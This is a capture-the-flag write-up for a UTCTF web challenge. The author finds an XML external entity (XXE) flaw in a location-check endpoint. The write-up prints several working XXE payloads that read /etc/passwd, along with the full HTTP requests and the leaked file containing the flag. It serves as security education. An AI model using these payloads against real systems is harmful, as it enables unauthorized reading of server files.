The CTF challenge was a below.
1 2 3 4 5 It's a simple webpage with 3 buttons, you got this :) http://web1.utctf.live:5005/ by matt
Opening the challenge URL shows a page with 3 locations and an option to Check Nearest Location on each. Clicking on one of them, generated following request and response.
Request:
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /location HTTP/1.1 Host : web1.utctf.live:5005User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0Accept : */*Accept-Language : en-US,en;q=0.5Accept-Encoding : gzip, deflateReferer : http://web1.utctf.live:5005/Content-Type : application/xmlOrigin : http://web1.utctf.live:5005Content-Length : 93Connection : close<?xml version="1.0" encoding="UTF-8" ?> <locationCheck > <productId > 1</productId > </locationCheck >
Response:
1 2 3 4 5 6 7 8 HTTP/1.1 200 OKContent-Type : text/html; charset=utf-8Date : Sat, 07 Mar 2020 08:58:01 GMTServer : Werkzeug/1.0.0 Python/3.8.1Content-Length : 60Connection : CloseThe nearest coordinates to you are: 25 .0000 ° N, 71 .0000 ° W
Post request body contains XML data so there is a big chance of XML related issues and it did smell like XXE ;). So I searched around for some payloads that I could use and landed here . Using some of the payloads directly did not result in anything interesting, so it was time to step back and think.
As it turned out, I needed to use already available <productId> tag to reference the entity. The initial payload which included random tag <blah> as below did not work.
1 <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><blah>&xxe;</blah>
But this payload below did work using the already available tag.
1 <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><blah><productId>&xxe;</productId></blah>
Another payload that earned the same results was
1 <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><locationCheck><productId>&xxe;</productId></locationCheck>
So the final request was generated to get the flag on the last line of response looked like this.
Request:
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /location HTTP/1.1 Host : web1.utctf.live:5005User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0Accept : */*Accept-Language : en-US,en;q=0.5Accept-Encoding : gzip, deflateReferer : http://web1.utctf.live:5005/Content-Type : application/xmlOrigin : http://web1.utctf.live:5005Content-Length : 175Connection : close<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <locationCheck > <productId > &xxe; </productId > </locationCheck >
Response:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 HTTP/1.1 200 OKContent-Type : text/html; charset=utf-8Date : Sat, 07 Mar 2020 05:54:36 GMTServer : Werkzeug/1.0.0 Python/3.8.1Content-Length : 1234Connection : CloseInvalid ProductId : root: x: 0 : 0 :root :/root :/bin/ash bin: x: 1 : 1 :bin :/bin :/sbin/nologin daemon: x: 2 : 2 :daemon :/sbin :/sbin/nologin adm: x: 3 : 4 :adm :/var/adm :/sbin/nologin lp: x: 4 : 7 :lp :/var/spool/lpd :/sbin/nologin sync: x: 5 : 0 :sync :/sbin :/bin/sync shutdown: x: 6 : 0 :shutdown :/sbin :/sbin/shutdown halt: x: 7 : 0 :halt :/sbin :/sbin/halt mail: x: 8 : 12 :mail :/var/mail :/sbin/nologin news: x: 9 : 13 :news :/usr/lib/news :/sbin/nologin uucp: x: 10 : 14 :uucp :/var/spool/uucppublic :/sbin/nologin operator: x: 11 : 0 :operator :/root :/sbin/nologin man: x: 13 : 15 :man :/usr/man :/sbin/nologin postmaster: x: 14 : 12 :postmaster :/var/mail :/sbin/nologin cron: x: 16 : 16 :cron :/var/spool/cron :/sbin/nologin ftp: x: 21 : 21 : :/var/lib/ftp :/sbin/nologin sshd: x: 22 : 22 :sshd :/dev/null :/sbin/nologin at: x: 25 : 25 :at :/var/spool/cron/atjobs :/sbin/nologin squid: x: 31 : 31 :Squid :/var/cache/squid :/sbin/nologin xfs: x: 33 : 33 :X Font Server :/etc/X11/fs :/sbin/nologin games: x: 35 : 35 :games :/usr/games :/sbin/nologin cyrus: x: 85 : 12 : :/usr/cyrus :/sbin/nologin vpopmail: x: 89 : 89 : :/var/vpopmail :/sbin/nologin ntp: x: 123 : 123 :NTP :/var/empty :/sbin/nologin smmsp: x: 209 : 209 :smmsp :/var/spool/mqueue :/sbin/nologin guest: x: 405 : 100 :guest :/dev/null :/sbin/nologin nobody: x: 65534 : 65534 :nobody :/ :/sbin/nologin utctf: x: 1337 :utflag {n3xt_y3ar_go1ng_bl1nd}
That’s it. Finally thanks to UTCTF Team for the chall. Feel free to contact me on twitter for queries or feedback. Cheers!!